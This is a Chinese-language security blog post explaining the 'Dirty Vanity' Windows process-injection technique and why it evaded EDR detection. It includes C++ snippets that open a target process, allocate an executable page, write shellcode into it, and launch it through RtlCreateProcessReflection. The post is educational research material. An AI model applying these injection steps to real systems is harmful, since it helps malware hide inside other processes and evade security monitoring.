进程注入之Dirty Vanity

admin 2024年5月29日09:07:39评论76 views字数 2893阅读9分38秒阅读模式

     今天简要介绍一下进程注入之Dirty Vanity基本实现原理及实现步骤,希望能有所启发。


介绍

    DirtyVanity是2022年blackhat大会所提出的一种新型的进程注入方式,进程注入一般都会遵循特定的注入三步走:分配内存--写入内存--执行。各类杀毒软件在进程注入的监控方式一般是监控特定的api序列调用,一旦api序列调用构成进程注入的注入步骤,就可以怀疑存在进程注入行为。然而,总是会存在一些未被发现的api调用构成了进程注入三步走,这就导致传统检测方法针对已知api检测方式无法有效察觉此类注入攻击。例如DirtyVanity攻击。

原理解析

    个人认为,当时DirtyVanity无法被检测到的原因有两个:一是其使用Windows的fork函数进行执行,该fork函数并未位于监控列表中,从而导致被绕过;二是Windows的fork函数将会创建本进程的副本,这便导致可疑内存页的分配写入,与执行是跨进程的,传统的检测方法没有办法,完美构建进程注入链。

    由于DirtyVanity是一种进程注入方法,因此需要使用到Windows中能够远程fork继承的函数RtlCreateProcessReflection,其函数原型如下:

 RtlCreateProcessReflection(
   HANDLE ProcessHandle,
   ULONG Flags,
   PVOID StartRoutine,
   PVOID StartContext,
   HANDLE EventHandle,
   T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION* ReflectionInformation
  );

RtlCreateProcessReflection将会创建ProcessHandle所指向的进程的副本,他将执行以下操作:

  • 1.创建共享内存段

  • 2.使用参数填充共享内存段

  • 3.将共享内存段同时映射到当前进程和目标进程

  • 4.使用RtlpCreateUserThreadEx在目标进程中创建新线程

  • 5.新线程执行RtlCloneUserProcess并传递共享内存段参数,RtlCloneUserProcess将会fork本进程至新的进程。

  • 6.如果RtlCreateProcessReflection指定了StartRoutine,则将会执行StartRoutine

从上面的RtlCreateProcessReflection的执行流程,我们得知,关键点在于将StartRoutine指定为我们shellcode写入的位置。

基本步骤

  • 通过VirtualAllocExWriteProcessMemory或者NtCreateSectionNtMapViewOfSection 等常规内存写入API将shellcode写入进程之中。

  • 在目标进程,执行远程fork函数,将目标程序创建一个副本,该副本将会包含原始程序所有的内容,同时也会包含上一步写入的shellcode。

  • 使用RtlCreateProcessReflection指向克隆的shellcode,并将进程起始地址设置为克隆的shellcode。

  • 最后使用RtlCloneUserProcess,执行shellcode即可。

值得注意的是,由于我们使用一种类似于fork的方式创建进程,而在windows中并非所有内存页都会被传递给子进程,例如VirwUnmap类型的节将不会进行传递,详见MSDN。因此,我们shellcode不能够使用此类api,但是我们可以通过定位ntdll中的api地址,手动进行执行一些命令:

  • 使用RtlInitUnicodeStringRtlAllocateHeapRtlCreateProcessParametersEx创建参数

  • 调用NtCreateUserProcess创建进程

    • 进程:C:WindowsSystem32cmd.exe

    • 命令参数:/k msg * “Hello from Dirty Vanity”

源码解析

    首先,需要拿到注入目标进程的进程句柄;这里使用OpenProcess打开句柄,权限需要设置为PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE

 // open process handle
 hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE, FALSE, dwPid);
 if (hProcess == nullptr)
 {
 std::cout << std::format("[-] Error using OpenProcess on PID {}: ERROR {}", dwPid, GetLastError()) << std::endl;
 return FALSE;
 }

    然后,进程注入的一般步骤,分配内存,写入shellcode。

 // alloc readwrite and execute page 
 PVOID lpAddr = NULL;
 SIZE_T page_size = 4096;
 
 lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 
 if (lpAddr == NULL)
 {
 VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
 CloseHandle(hProcess);
 return FALSE;
 }
 
 if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, shellcode, sizeof shellcode, nullptr))
 {
 VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
 CloseHandle(hProcess);
 return FALSE;
 }

    最后,也是Dirty Vanity的核心步骤,获取RtlCreateProcessReflection未导出函数,创建目标进程的Reflection镜像并将结果存储到info中。

进程注入之Dirty Vanity

 status = fnRtlCreateProcessReflection(hProcess, RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES | RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE, lpAddr, nullptr, NULL, &info);

参考链接

Dirty Vanity: A New Approach to Code Injection & EDR Bypass


原文始发于微信公众号(Bits):进程注入之Dirty Vanity

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月29日09:07:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   进程注入之Dirty Vanityhttp://cn-sec.com/archives/2790630.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息